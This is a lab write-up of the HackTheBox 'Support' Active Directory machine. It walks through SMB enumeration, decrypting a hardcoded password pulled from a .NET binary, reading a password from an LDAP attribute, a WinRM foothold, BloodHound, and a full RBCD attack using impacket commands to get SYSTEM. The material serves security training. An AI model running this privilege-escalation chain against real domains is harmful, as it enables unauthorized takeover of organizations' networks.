All writeups
HackTheBox: Support avatar
MACHINE Windows HackTheBox 2/5

HackTheBox: Support

2026-05-24 13 min read

Introduction

Support is an Easy-rated Windows Active Directory machine on HackTheBox. The attack chain involves:

  • Enumerating an SMB share accessible via guest session
  • Reverse engineering a custom .NET binary to extract hardcoded LDAP credentials
  • Using those credentials to find a plaintext password stored in an LDAP user attribute
  • Gaining a WinRM shell as the support user
  • Using BloodHound to identify a GenericAll privilege on the Domain Controller
  • Performing a Resource-Based Constrained Delegation (RBCD) attack to get a shell as NT AUTHORITY\SYSTEM

Enumeration

Nmap Scan

The first step in any engagement is always a port scan to understand what services are running.

nmap -sC -sV -vv -oN SupportTCP.txt -T5 10.129.230.181

Breaking down every flag for beginners:

FlagWhat it does
-sCRun default scripts, probes services for extra info (e.g. SMB signing, HTTP titles)
-sVDetect service versions, tells you exactly what software is running on each port
-vvVery verbose, shows results as they come in, no need to wait for scan to finish
-oN SupportTCP.txtSave output to a file in normal format, always save your scans!
-T5Fastest timing template, aggressive speed, good for CTFs (use T3/T4 on real engagements)

Results:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)

Domain: support.htb | Hostname: DC | OS: Windows Server 2022

What these ports tell us

PortServiceWhy it matters
88KerberosConfirms this is a Domain Controller
389/3268LDAPCan query AD objects if we get credentials
445SMBWorth testing for anonymous/guest access
5985WinRMRemote PowerShell, useful if we get valid creds

Beginner tip: Ports 88 (Kerberos) and 389 (LDAP) together almost always mean you’re dealing with a Domain Controller. WinRM on 5985 is your target for getting an interactive shell.


SMB Enumeration

Testing for Guest/Anonymous Access

SMB is always one of the first things to test on a Windows box. We use NetExec (nxc) to check if a guest session is allowed:

nxc smb 10.129.230.181 -u 'guest' -p '' --shares

Breaking down every flag for beginners:

FlagValueWhat it does
smb,The protocol to test against
10.129.230.181,The target IP address
-uguestUsername to authenticate with
-p''Password, empty string means no password
--shares,List all SMB shares and show our permissions on each

Beginner tip: NetExec (nxc) replaced the older tool CrackMapExec (cme). It supports many protocols, smb, ldap, winrm, ssh, rdp, mssql and more. A [+] in the output means successful authentication. A [-] means it failed.

Result:

SMB  10.129.230.181  445  DC  [*] Windows Server 2022 Build 20348 x64
SMB  10.129.230.181  445  DC  [+] support.htb\guest:
SMB  10.129.230.181  445  DC  Share           Permissions     Remark
SMB  10.129.230.181  445  DC  ADMIN$                          Remote Admin
SMB  10.129.230.181  445  DC  C$                              Default share
SMB  10.129.230.181  445  DC  IPC$            READ            Remote IPC
SMB  10.129.230.181  445  DC  NETLOGON                        Logon server share
SMB  10.129.230.181  445  DC  support-tools   READ            support staff tools
SMB  10.129.230.181  445  DC  SYSVOL                          Logon server share

Guest login works and we have READ access to support-tools a non-default share worth investigating.

Beginner tip: ADMIN$, C$, NETLOGON, and SYSVOL are standard Windows shares. Any share that doesn’t fit that pattern, like support-tools, is immediately suspicious and should be your first target.

Listing Share Contents

First list the available shares:

smbclient -L //10.129.230.181 -U 'guest%'

Breaking down the flags:

FlagValueWhat it does
-L//10.129.230.181List all shares on the target without connecting to one
-Uguest%Username and password separated by %. guest% means username=guest, password=empty

Then connect to the share:

smbclient //10.129.230.181/support-tools -U 'guest%'
smb: \> ls

Beginner tip: The % in -U 'guest%' is smbclient’s way of separating username from password in one flag. user%password or user% for empty password. It’s quirky but that’s how it works.

Share contents:

7-ZipPortable_21.07.paf.exe
npp.8.4.1.portable.x64.zip
putty.exe
SysinternalsSuite.zip
UserInfo.exe.zip        <-- non-standard!
windirstat1_1_2_setup.exe
WiresharkPortable64_3.6.5.paf.exe

Every file here is a well-known legitimate tool except UserInfo.exe.zip. This is a custom internal binary and immediately stands out.

smb: \> get UserInfo.exe.zip
smb: \> exit

Analysing UserInfo.exe

Unpacking

unzip UserInfo.exe.zip -d UserInfo
cd UserInfo
ls

The archive contains UserInfo.exe and several supporting .dll files confirming it’s a .NET application.

Decompiling with ilspycmd

.NET binaries are compiled to an intermediate language (IL) that can be decompiled back into readable C# source code. We use ilspycmd for this:

# Install ilspycmd
dotnet tool install ilspycmd -g --version 8.2.0.7535

# Decompile the binary
ilspycmd UserInfo.exe -p -o ./decompiled

Finding the Interesting Files

find ./decompiled -name "*.cs" | xargs grep -iEl 'enc_password|ldap|password'

Hits:

  • UserInfo.Services/Protected.cs
  • UserInfo.Services/LdapQuery.cs

Protected.cs, Hardcoded Encrypted Credentials

internal class Protected
{
    private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
    private static byte[] key = Encoding.ASCII.GetBytes("armando");

    public static string getPassword()
    {
        byte[] array = Convert.FromBase64String(enc_password);
        for (int i = 0; i < array.Length; i++)
        {
            array[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
        }
        return Encoding.Default.GetString(array);
    }
}

LdapQuery.cs, How the Password is Used

string password = Protected.getPassword();
entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);

This confirms the decrypted password belongs to the support\ldap account and is used to query Active Directory.

Decrypting the Password

The encryption scheme is:

  1. Base64 decode the enc_password string
  2. XOR each byte with the key armando (cycling through)
  3. XOR again with 0xDF

We replicate this in Python:

import base64

enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"

array = base64.b64decode(enc_password)
result = bytes([b ^ key[i % len(key)] ^ 0xDF for i, b in enumerate(array)])
print(result.decode())
python3 exploit.py

Decrypted password: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

Beginner tip: Developers sometimes hardcode credentials in applications thinking encryption makes it safe. But if the decryption key is also in the binary, it’s security through obscurity not real security. Always decompile custom .NET binaries on AD boxes.


LDAP Enumeration

Verifying the Credentials

nxc ldap 10.129.230.181 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --users

Result: 20 domain users enumerated successfully.

Dumping the Support User’s Attributes

Now we query all attributes for the support user paying close attention to non-standard fields:

ldapsearch -x -H ldap://10.129.230.181 \
  -D "support\ldap" \
  -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -b "DC=support,DC=htb" \
  "(sAMAccountName=support)"

Breaking down every flag for beginners:

FlagValueWhat it does
-x,Use simple authentication instead of SASL (just means standard username/password login)
-Hldap://10.129.230.181The URL of the LDAP server to connect to
-Dsupport\ldapThe account to bind (log in) as think of this as the username
-wnvEfEK16^...The password for the bind account (-w = password, -W would prompt interactively)
-bDC=support,DC=htbThe base DN where in the directory tree to start searching from
"(sAMAccountName=support)",The search filter only return objects where the username equals support

Understanding the -b flag (Base DN) in depth:

Active Directory is structured like a tree, not a flat list. The -b flag tells ldapsearch where to start looking in that tree. Think of it like a file path:

DC=support,DC=htb          ← -b starts here (root of the domain)
├── CN=Users
│   ├── CN=support         ← the user we want
│   ├── CN=ldap
│   └── CN=Administrator
├── CN=Computers
│   └── CN=DC
└── CN=Groups
    └── CN=Remote Management Users

Setting -b "DC=support,DC=htb" means “start from the root of the support.htb domain and search everything beneath it.” If you knew exactly where the user lived, you could narrow it down:

# More specific - only search the Users container
-b "CN=Users,DC=support,DC=htb"

But starting from the domain root is safer when you don’t know the exact path.

Understanding Distinguished Names (DNs):

You’ll notice AD uses a backwards naming convention DC=support,DC=htb instead of support.htb. This is called a Distinguished Name (DN):

  • DC = Domain Component (each part of the domain name)
  • CN = Common Name (an object like a user, group, or computer)
  • OU = Organizational Unit (a folder/container in AD)

So support.htb becomes DC=support,DC=htb, and the user support inside the Users container becomes CN=support,CN=Users,DC=support,DC=htb.

Key finding in the output:

info: Ironside47pleasure40Watchful
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb

Two critical things here:

  1. The info field contains what looks like a plaintext password
  2. The support user is a member of Remote Management Users meaning they can use WinRM (port 5985)

Beginner tip: The info field is a non-standard AD attribute that admins sometimes misuse to store notes or temporary passwords. It’s rarely audited. Standard fields like description get more attention, but info is commonly overlooked always check it when enumerating AD users.

Why ms-DS-MachineAccountQuota Matters

We can also check how many computer accounts domain users can create:

ldapsearch -x -H ldap://10.129.230.181 \
  -D "support\ldap" \
  -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -b "DC=support,DC=htb" \
  "(objectClass=domain)" ms-DS-MachineAccountQuota

Result: ms-DS-MachineAccountQuota: 10

This means any authenticated domain user can add up to 10 computer accounts to the domain this becomes important during privilege escalation.


Foothold : WinRM Shell

Port 5985 (WinRM) was open from the initial scan. Since support is a member of Remote Management Users, they are allowed to connect via WinRM and run PowerShell commands remotely.

We use evil-winrm to get an interactive shell:

evil-winrm -i 10.129.230.181 -u support -p 'Ironside47pleasure40Watchful'

Breaking down the flags:

FlagValueWhat it does
-i10.129.230.181The target IP to connect to
-usupportUsername
-pIronside47pleasure40WatchfulPassword

Shell obtained as support\support.

Beginner tip: WinRM (Windows Remote Management) on port 5985 is essentially SSH for Windows. If a user is in the Remote Management Users group and you have their password, evil-winrm gives you a full interactive PowerShell session.


User Flag

dir C:\Users\support\Desktop\
type C:\Users\support\Desktop\user.txt

User flag captured.


Privilege Escalation, BloodHound

What is BloodHound?

BloodHound is an Active Directory auditing tool that maps relationships between AD objects (users, groups, computers) and identifies attack paths to Domain Admin. It’s used by both attackers and defenders.

Setting Up BloodHound CE

# Fix PostgreSQL collation issue
sudo -u postgres psql -c "ALTER DATABASE template1 REFRESH COLLATION VERSION;"
sudo -u postgres psql -c "ALTER DATABASE postgres REFRESH COLLATION VERSION;"

# Start BloodHound
bloodhound-start

Navigate to http://localhost:8080 and log in with admin:admin.

Collecting AD Data

We use bloodhound-python to remotely collect AD data using our valid credentials:

bloodhound-python -u support -p 'Ironside47pleasure40Watchful' \
  -d support.htb -ns 10.129.230.181 -c All

Breaking down the flags:

FlagValueWhat it does
-usupportUsername to authenticate with
-pIronside47pleasure40WatchfulPassword
-dsupport.htbThe Active Directory domain name
-ns10.129.230.181Nameserver (DNS server), points to the DC so domain names resolve correctly
-cAllCollect everything, users, groups, computers, GPOs, sessions, ACLs

This generates JSON files containing all AD objects and their relationships:

20260524_computers.json
20260524_containers.json
20260524_domains.json
20260524_gpos.json
20260524_groups.json
20260524_ous.json
20260524_users.json

Uploading to BloodHound

In the BloodHound UI, click File IngestUpload Files and select all JSON files. Once ingested, navigate to Explore.

Finding the Attack Path

Using the Pathfinding tab:

  • Start: SUPPORT@SUPPORT.HTB
  • End: DOMAIN ADMINS@SUPPORT.HTB

Attack path revealed:

SUPPORT → MemberOf → SHARED SUPPORT ACCOUNTS → GenericAll → DC.SUPPORT.HTB → ... → DOMAIN ADMINS

The critical edge is GenericAll from the SHARED SUPPORT ACCOUNTS group to DC.SUPPORT.HTB. Since support is a member of that group, it inherits full control over the DC computer object.

Beginner tip: GenericAll means full control you can do anything to that object. On a computer object, this enables the RBCD (Resource-Based Constrained Delegation) attack, which lets you impersonate any domain user including Administrator.


RBCD Attack

What is RBCD?

Resource-Based Constrained Delegation (RBCD) is a Kerberos delegation feature that allows a computer to impersonate users on behalf of another computer. By abusing GenericAll on the DC, we can:

  1. Create a fake computer account (possible because ms-DS-MachineAccountQuota: 10)
  2. Configure the DC to trust our fake computer to impersonate users
  3. Request a Kerberos ticket as Administrator
  4. Use that ticket to get a SYSTEM shell

Step 1 : Create a Fake Computer Account

impacket-addcomputer 'support.htb/support:Ironside47pleasure40Watchful' \
  -computer-name 'FAKE$' -computer-pass 'FakePass123!'

Result: Successfully added machine account FAKE$ with password FakePass123!

Step 2 : Configure RBCD

Set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the DC to allow FAKE$ to delegate:

impacket-rbcd 'support.htb/support:Ironside47pleasure40Watchful' \
  -action write -delegate-to 'DC$' -delegate-from 'FAKE$'

Breaking down the flags:

FlagValueWhat it does
support.htb/support:Ironside47pleasure40Watchful,Authentication in domain/user:password format
-action write,Write/modify the delegation attribute (vs read to just view it)
-delegate-toDC$The target computer that will be delegated TO (the DC)
-delegate-fromFAKE$Our fake computer that is allowed to impersonate users ON the DC

Result:

[*] Delegation rights modified successfully!
[*] FAKE$ can now impersonate users on DC$ via S4U2Proxy

Step 3 : Get a Service Ticket as Administrator

impacket-getST 'support.htb/FAKE$:FakePass123!' \
  -spn 'cifs/dc.support.htb' -impersonate Administrator

Breaking down the flags:

FlagValueWhat it does
support.htb/FAKE$:FakePass123!,Authenticate as our fake computer account
-spncifs/dc.support.htbThe Service Principal Name cifs means file sharing (SMB) on the DC
-impersonateAdministratorRequest the ticket as if we ARE the Administrator

Result: Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

Beginner tip: The ticket is saved in .ccache format (Linux Kerberos format). If you obtained it from a Windows tool like Rubeus, it would be in .kirbi format use impacket-ticketConverter to convert between formats.

Step 4 : Set KRB5CCNAME and Get a Shell

KRB5CCNAME is an environment variable that tells Kerberos-aware tools (like psexec, wmiexec, secretsdump) where to find the ticket cache file. Setting it lets us authenticate with -k -no-pass instead of a password:

export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
impacket-psexec -k -no-pass dc.support.htb

Breaking down the flags:

FlagWhat it does
export KRB5CCNAME=...Sets the environment variable pointing to our .ccache ticket file
-kUse Kerberos authentication (reads from KRB5CCNAME)
-no-passDon’t prompt for a password use the Kerberos ticket instead
dc.support.htbThe target hostname must match the ticket (use hostname not IP with Kerberos)

Beginner tip: Kerberos is very picky about hostnames. Always use the hostname (dc.support.htb) not the IP address when using -k. If it fails, make sure /etc/hosts has the correct entry: 10.129.230.181 support.htb dc.support.htb

Shell obtained as NT AUTHORITY\SYSTEM.


Root Flag

type C:\Users\Administrator\Desktop\root.txt

Root flag captured.


Credentials Summary

AccountPasswordSource
support\ldapnvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmzUserInfo.exe decompilation
support\supportIronside47pleasure40WatchfulLDAP info attribute
FAKE$FakePass123!Created during RBCD attack

Key Concepts Learned

ConceptDescription
Guest SMB sessionsAlways test SMB with guest/anonymous misconfigured shares are common
.NET decompilationCustom binaries often contain hardcoded credentials always decompile
XOR encryptionCommon obfuscation in malware and internal tools trivial to reverse
LDAP info fieldNon-standard AD attribute commonly misused to store passwords
WinRM (port 5985)Windows remote shell accessible to Remote Management Users group members
BloodHoundEssential tool for mapping AD attack paths visually
GenericAllFull control over an AD object enables many attacks
ms-DS-MachineAccountQuotaDefault value of 10 allows any domain user to create computer accounts
RBCD attackAbuse delegation rights to impersonate Administrator via Kerberos
KRB5CCNAMEEnvironment variable pointing to Kerberos ticket cache for pass-the-ticket
ticketConverter.pyConverts .kirbi (Windows) to .ccache (Linux) Kerberos ticket format